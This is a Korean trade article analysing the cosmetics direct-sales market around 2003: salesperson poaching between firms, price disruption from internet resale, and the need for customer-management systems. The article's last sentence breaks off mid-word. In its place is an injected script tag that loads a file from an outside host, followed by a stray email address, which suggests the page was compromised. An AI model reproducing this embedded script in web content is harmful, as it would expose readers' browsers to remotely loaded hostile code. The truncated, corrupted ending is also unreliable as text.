최근 몇 년간 직판유통 환경을 보면 98년 IMF관리 체제를 겪으면서 실업자가 증가함에 따라 가사에 전념하던 여성 인력들의 경제활동 참여가 확대되면서 신규 판매원의 창출로 이어졌고 이를 밑받침으로 지속적이고 안정적인 사업활성화를 이룰 수 있었다.
그리고 빈익빈 부익부 현상의 심화로 소비가 양극화되면서 구매력을 지닌 고객들에 의한 고기능성 카운슬링 제품의 수요가 증가함에 따라 우수한 제품력과 고급 이미지로 경쟁력을 갖춘 직판유통에 성장의 또 하나의 기회요인이 되었다. 이러한 직판시장의 활성화는 후발업체의 시장참여를 촉발하게 되었다.
그러나 이러한 시장확대 추세는 2002년부터 후발 업체의 경쟁적 진입과 공격적 영업에 따라 업체 간의 판매인력에 대한 과당경쟁으로 코스트가 상승하고 경쟁이 심화되었다.
또한 인터넷으로 제품이 유출됨에 따라 가격질서가 문란해지는 현상을 초래하였고 이는 판매원의 영업활동을 급격히 위축시키는 요인이 되었다. 홈쇼핑, 인터넷 판매 등 소비자의 구매행태가 새롭게 변화하고 있으며 기능성 중심의 프리미엄 시장이 확대되면서 제품력과 고객 서비스를 강화하는 직판의 경쟁력은 많은 위협을 받고 있는 실정이다.
특히 월드컵 비수기와 함께 판매원의 이탈현상으로 2002년 하반기 이후 직판유통은 전체적으로 성장세가 주춤하는 모습을 보이고 있다.
최근의 화장품시장의 변화는 몇 개월을 예측하기가 어려울 정도이며, 이러한 변화에 발 빠르게 대응하기 또한 쉽지 않다.
그러나 환경의 변화는 시장에 참여하는 모든 유통 및 기업에 있어 위기를 초래하는 위협요인이기도 하지만 새로운 도약을 가져올 수 있는 기회요인을 함께 제공하는 점을 고려할 때 기업으로서는 어떻게 대응할 것인가에 초점을 맞춰야 할 것이다.
이러한 측면에서 2003년을 맞이하는 직판유통의 방향과 과제에 대해 살펴보자.
문제점 및 해결과제
직판유통의 가장 큰 문제점은 상도에 어긋한 무리한 조직영입, 다시 말해 불공정 스카우트로 인해 유통 내 경쟁질서가 어지럽다는 것이다. 직판유통이 급성장을 하면서 신규업체의 시장참여가 경쟁적으로 이루어졌고 후발업체는 외형확대를 위해 스카우트 행위를 무분별하게 진행하고 있다. 이러한 경쟁적인 조직영입은 판매원에 대한 수당 및 판촉지원의 지속적인 증가를 불러일으키고 이는 기업의 수익성을 하락시키는 주요 원인이 되고 있다.
직판유통은 고객 수요 측면에서 보면 고급, 고기능 제품을 선호하는 프리미엄 고객층을 대상으로 백화점, 홈쇼핑 등과 유통 간 고객경쟁을 치열하게 하고 있다.
따라서 고객유치를 위한 서비스 차별화 및 경쟁 우위 요소의 지속적인 개발이 이루어지지 못하면 고객의 이탈은 자명한 일이다.
또한 인적판매라는 사업구조 측면에서 보면 양질의 판매인력 유치를 위해 구방판, 다단계판매, 보험, 정수기, 출판 등 여성판매인력이 중심이 되는 사업분야와 경쟁구도를 형성하고 있으므로 판매원에 대한 확고한 비전의 제시가 더욱 중요해지고 있다.
최근 인터넷판매가 활성화되면서 판매원의 카운슬링을 통해 고객에게 직접 판매되어야 할 직판 전용제품이 인터넷 쇼핑몰 및 시판전문점 등 타유통에서 할인 판매되고 있어 직판유통의 성장을 저해하고 판매원의 이탈을 촉진하는 주요 원인이 되고 있다. 이밖에 고객에 대한 체계적 관리를 위한 인프라 구축이 미흡하고 고객에 대한 피부관리 및 서비스의 부족, 고기능성 화장품을 통한 상품경쟁력의 지속적 우위확보 등 직판유통에 참여한 기업들이 지속적으로 개선해 나가야 할 과제가 적지 않다.
전망과 나아가야 할 방향
직판유통이 시장환경의 변화에 적응하고 충성고객을 확보해 지속적으로 성장하기 위해서는 다음과 같은 사항들에 역점을 두어야 할 것이다.
첫째, 합리적이고 체계적인 고객관리시스템의 구축이 필요하다. 고객에 대한 카운슬링을 통해 판매가 이루어지는 직판유통의 특성상 고객관리는 필수 불가결한 요소이다.
우선적으로 고객 데이터베이스의 관리를 효과적으로 행하기 위한 정보 인프라의 구축과 더불어 판매원 스스로 고객관리에 대한 인식변화가 필요하다. 고객에 대한 판매정보를 바탕으로 한 체계화된 고객서비스가 이루어?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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